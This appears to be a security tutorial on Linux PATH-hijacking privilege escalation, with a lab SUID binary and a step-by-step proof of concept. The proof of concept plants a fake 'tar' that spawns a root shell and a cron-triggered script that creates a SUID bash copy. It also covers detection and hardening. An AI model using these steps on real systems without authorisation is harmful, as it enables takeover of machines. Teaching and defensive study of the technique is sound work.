Disclaimer: This article is intended for educational purposes and for authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in most jurisdictions and can carry serious criminal and civil penalties.
Introduction / Overview
PATH hijacking is one of the most reliable and frequently overlooked privilege escalation vectors on Linux. The core idea is simple: when a privileged process invokes another program using a relative path (just a command name, not a full path like /usr/bin/id), the shell or exec family resolves that name by walking the directories listed in the PATH environment variable, left to right. If an attacker controls any of those directories — or controls the PATH variable itself — they can place a malicious binary earlier in the search order and have it executed with the privileges of the calling process.
In this article you will learn how PATH resolution works, how to spot a vulnerable SUID binary or cron job, how to weaponize it with a step-by-step PoC, and — just as importantly — how a blue team detects and prevents it. This technique maps to MITRE ATT&CK T1574.007 (Path Interception by PATH Environment Variable).
How it works / Background
When you run a command, the OS resolves the executable as follows:
- If the command contains a
/, it is treated as an absolute or relative path and used directly. - Otherwise, it is treated as a bare command name and looked up in each directory of
PATH, in order. The first match wins.
The vulnerability surfaces when a high-privilege program calls something like system("service"), popen("ps"), or execlp("id", ...) instead of system("/usr/sbin/service"). The C library functions system(), popen(), execlp(), and execvp() all perform PATH resolution. A SUID-root binary that calls any of them with a bare name is exploitable if the attacker can influence what that name resolves to.
There are two flavors of the attack:
- PATH variable control — the attacker controls the
PATHof the privileged process (common with SUID binaries that inherit the caller's environment, and with cron jobs that use a relative command). - Writable PATH directory — a legitimately-searched directory (e.g., a misconfigured
/usr/local/bin, or an attacker-controlled directory placed early in a system-wide PATH) is world-writable, so the attacker drops a malicious binary there.
Prerequisites / Lab setup
You need a low-privilege shell and a vulnerable target. Let's build one. Create a tiny SUID-root binary that shells out using a relative path.
// /opt/vuln/backup.c
#include <stdlib.h>
int main(void) {
setuid(0);
setgid(0);
system("tar -czf /tmp/backup.tar.gz /etc/hostname"); // relative: "tar"
return 0;
}CCompile it and make it SUID root (do this as root in your lab):
gcc /opt/vuln/backup.c -o /usr/local/bin/backup
chown root:root /usr/local/bin/backup
chmod 4755 /usr/local/bin/backupBashNow switch to an unprivileged user for the attack.
Attack walkthrough / PoC
Step 1 — Enumerate SUID binaries
find / -perm -4000 -type f 2>/dev/nullBashYou'll see /usr/local/bin/backup in the output. Tools like linpeas.sh flag these automatically and also highlight writable PATH entries.
Step 2 — Confirm it calls a relative path
Inspect the binary for embedded command names. strings is enough here:
strings /usr/local/bin/backup | grep -E 'tar|cp|service|sh'BashSeeing tar -czf ... with no leading slash is the tell. To prove which call the binary makes at runtime, trace it:
ltrace /usr/local/bin/backup 2>&1 | grep -E 'system|exec|popen'
# system("tar -czf /tmp/backup.tar.gz /etc/hostname")BashBecause tar has no /, it is resolved through PATH, and this SUID binary inherits our PATH.
Step 3 — Plant the malicious binary
Create a fake tar that spawns a root shell, place it in a directory we control, and prepend that directory to PATH:
mkdir -p /tmp/evil
cat > /tmp/evil/tar <<'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x /tmp/evil/tar
export PATH=/tmp/evil:$PATHBash/bin/bash -p preserves the effective UID so the inherited SUID privileges aren't dropped.
Step 4 — Trigger and escalate
/usr/local/bin/backup
id
# uid=0(root) gid=0(root) groups=0(root)BashThe SUID binary resolved tar to /tmp/evil/tar because that directory now sits first in PATH, executing our payload as root.
Variant: cron job with a relative command
Cron is a classic target because crontab files often define their own PATH. If /etc/crontab contains:
PATH=/usr/local/bin:/tmp/scripts:/usr/bin:/bin
* * * * * root cleanup.shBashand /tmp/scripts (an early PATH entry) is writable, just drop a cleanup.sh there:
cat > /tmp/scripts/cleanup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /tmp/scripts/cleanup.shBashWhen root's cron fires, you get a SUID root shell: /tmp/rootbash -p. Find writable PATH directories with:
echo "$PATH" | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "writable: $d"; doneBashThis is closely related to abusing other inherited environment variables — see our deep dives on LD_PRELOAD and LD_LIBRARY_PATH abuse and on sudo and SUID misconfigurations.
Attack flow (Mermaid)

The diagram shows the path from a low-privilege shell to root: find a privileged process invoking a relative command, then either hijack PATH or write to a searched directory so a malicious binary runs with elevated privileges.
Detection & Defense (Blue Team)
PATH hijacking is almost entirely a configuration and coding problem, so defenses are concrete and high-impact.
1. Always use absolute paths in privileged code. SUID binaries, cron jobs, and systemd units must call /usr/bin/tar, never tar. In C, prefer execve() with a full path over system()/popen()/execlp(). Within a shell script, set a hardened PATH at the top and reference binaries explicitly:
#!/bin/bash
PATH=/usr/sbin:/usr/bin:/sbin:/bin
export PATH
/usr/bin/tar -czf "$dest" "$src"Bash2. Reset the environment for SUID programs. A SUID binary should not trust the caller's PATH. Sanitize it before any exec:
setenv("PATH", "/usr/bin:/bin", 1);CFor sudo, the secure_path option in /etc/sudoers forces a known-good PATH for all sudo-invoked commands:
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"Bash3. Eliminate writable directories from PATH. Audit every directory in system PATHs and remove world/group-writable entries (especially . or empty fields, which mean "current directory"):
echo "$PATH" | tr ':' '\n' | while read d; do
[ -z "$d" ] && echo "EMPTY (== cwd) in PATH"
[ -w "$d" ] && [ "$(id -u)" -ne 0 ] && echo "user-writable: $d"
done
find / -maxdepth 4 -perm -0002 -type d 2>/dev/null # world-writable dirsBash4. Audit and monitor. Use auditd to alert on writes to PATH directories and on execution of SUID binaries from unusual locations:
auditctl -w /usr/local/bin -p wa -k path_dir_write
auditctl -a always,exit -F arch=b64 -S execve -F dir=/tmp -k exec_from_tmpBashMount /tmp, /var/tmp, and /dev/shm with noexec,nosuid,nodev to break the most common drop-and-run payloads. Run periodic scans for new or unexpected SUID files and compare against a baseline (find / -perm -4000 -type f plus integrity tooling like AIDE or Tripwire). EDR/auditd rules that flag a SUID-root process spawning a child from a world-writable directory catch this technique at runtime, mapping cleanly to ATT&CK T1574.007.
5. Least privilege. Question whether each SUID bit is necessary; capabilities (setcap) or sudo rules with secure_path are usually safer than blanket SUID root.
Conclusion
PATH hijacking turns a one-character omission — a missing leading slash — into full root compromise. The offensive workflow is short: find a privileged process that calls a command by name, then control either the PATH variable or a directory inside it, and plant a malicious binary. The defensive workflow is equally clear: absolute paths everywhere, sanitized environments for SUID code, secure_path for sudo, no writable PATH directories, and noexec temp mounts with auditd monitoring. Both sides should add this check to their standard Linux privilege-escalation playbook.
References
- MITRE ATT&CK — T1574.007 Path Interception by PATH Environment Variable: https://attack.mitre.org/techniques/T1574/007/
- HackTricks — Linux Privilege Escalation (PATH abuse): https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- GTFOBins (binary abuse reference): https://gtfobins.github.io/
- Linux
execvp(3)/system(3)manual pages: https://man7.org/linux/man-pages/man3/exec.3.html - sudoers
secure_path— sudoers(5): https://man7.org/linux/man-pages/man5/sudoers.5.html



Comments